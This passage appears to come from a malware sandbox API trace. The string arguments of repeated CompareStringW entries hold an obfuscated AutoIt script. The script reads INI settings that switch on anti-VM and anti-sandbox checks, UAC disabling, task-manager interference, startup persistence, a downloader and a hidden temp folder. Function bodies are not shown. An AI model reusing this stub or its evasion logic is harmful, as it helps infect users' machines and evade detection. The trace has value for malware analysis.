= 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA ", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NoTrayIcon\r\nGlobal Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA =", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oTrayIcon\r\nGlobal Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = ", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TrayIcon\r\nGlobal Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = 